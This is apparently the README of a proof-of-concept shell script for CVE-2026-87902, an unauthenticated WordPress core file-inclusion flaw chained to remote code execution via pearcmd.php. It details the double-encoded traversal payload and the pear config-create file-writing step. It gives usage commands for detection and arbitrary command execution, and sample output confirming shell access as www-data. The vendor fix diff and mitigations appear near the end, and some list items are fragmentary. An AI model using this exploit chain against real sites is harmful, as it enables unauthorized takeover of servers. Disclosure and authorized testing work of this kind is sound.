Shell PoC para CVE-2026-87902, un LFI no autenticado en el núcleo de WordPress mediante la resolución de page-template que encadena a RCE a través de pearcmd.php.
| Componente | Núcleo de WordPress (wp-includes/template.php) |
| Tipo | CWE-98 — Inclusión de archivos PHP (LFI → RCE) |
| Afectados | WordPress < 7.1.2 (rama 7.0 corregida en 7.0.6; las retroportaciones a 6.x dependen de la rama) |
| Corregido | 7.1.2 / 7.0.6 |
| CVE | CVE-2026-87902 — CVSS 3.1 8.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| PoC | poc.sh |
get_page_template() añade page-{urldecode(pagename)}.php a la jerarquía de plantillas de página cuando
la variable de consulta pagename contiene caracteres codificados en porcentaje, y locate_template()
resuelve el candidato con file_exists() / require sin validar que la ruta permanezca
dentro del tema activo. Un atacante no autenticado puede, por tanto, incluir y ejecutar un archivo
.php local legible elegido fuera del tema activo.
Precondiciones:
< 7.1.2.page- (por ejemplo, el
Twenty Fourteen oficial incluye page-templates/). El nombre de la plantilla siempre lleva el prefijo page-,
por lo que el primer componente de la ruta debe existir.El payload está doblemente codificado para que sanitize_title_for_query() preserve los octetos %2e/%2f;
urldecode() dentro de get_page_template() reconstruye entonces ../ en el momento de resolución de la plantilla.
Si el servidor también tiene un pearcmd.php accesible y register_argc_argv = On (el valor predeterminado en
la imagen oficial de PHP), la cadena escala a ejecución remota de código: la cadena de consulta
se convierte en argv de CLI mediante separadores +, pear config-create escribe un archivo .php
controlado por el atacante, y el mismo LFI lo incluye.
# Interactive menu (recommended for a quick start)
./poc.sh
# 1) Detect the LFI (read-only)
./poc.sh check --target https://example.com
# 2) Detect the LFI and test the RCE preconditions (self-deleting payload)
./poc.sh check-rce --target https://example.com --authorized
# 3) Execute a command through the chain (self-deleting payload)
./poc.sh rce --target https://example.com --authorized --cmd "id;hostname"
Opciones: --page-id N, --ups N, --pearcmd PATH, --timeout N. --authorized (o
VDP_AUTHORIZED=1) es obligatorio para cualquier modo que pueda escribir cuando el objetivo no sea localhost.
check)== CVE-2026-87902 PoC (check) ==
target: https://example.com
[1] Discovering a public page ID
[info] page_id: 17
[info] baseline: POST /?page_id=17 -> 52377 bytes
[2] Testing the LFI (read-only include of wp-includes/version.php)
[PASS] VULNERABLE: included wp-includes/version.php from outside the theme (0-byte body vs 52377-byte page)
[info] theme directory: page-templates/ traversal depth to webroot: 4
[info] second file confirmed: wp-admin/install.php executed (static string returned)
== RESULT: VULNERABLE to CVE-2026-87902 (LFI confirmed) ==
check-rce / rce)[3] Testing the LFI-to-RCE chain (self-deleting payload)
[PASS] pearcmd.php executed via the LFI (usr/local/lib/php/pearcmd, root depth 7)
[PASS] RCE CONFIRMED: command output returned (uid/gid present)
[info] payload self-deleted (cleanup verified)
[4] Executing command: id;hostname;whoami
> uid=33(www-data) gid=33(www-data) groups=33(www-data)
> 4119cb19757f
> www-data
Si se confirma el LFI pero PEAR está ausente (o register_argc_argv está Off), el script informa
de la precondición con claridad y sale sin escribir nada (exit 3).
page-* candidato y profundidad de traversal, solicitar
page-<dir>/../../…/wp-includes/version.php a través del parámetro pagename
(POST, cuerpo vacío — necesario porque WordPress redirige canónicamente GET/HEAD primero).200 con un cuerpo de 0 bytes (frente a la línea base de la página de varios KB) demuestra la inclusión.pear config-create a través del LFI con un payload autodestructivo, y luego
incluir el archivo escrito con un comando proporcionado en la solicitud.Corrección del proveedor en 7.1.2 (wp-includes/template.php):
- if ( $pagename_decoded !== $pagename ) {
+ if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
más una comprobación de contención con realpath() en locate_template()
(_wp_is_template_path_allowed()). wordpress-7.0.6 contiene la corrección idéntica byte a byte.
pagename que contengan secuencias de traversal (.., %2e%2e,
%252e%252e) en todos los métodos HTTP, o eliminar la precondición del directorio de tema page-*.Solo para pruebas de seguridad autorizadas. Los modos RCE utilizan un payload autodestructivo y nunca escriben nada más allá de su propio archivo marcador temporal, pero aun así ejecutan comandos en el objetivo — ejecútalos solo donde tengas permiso explícito.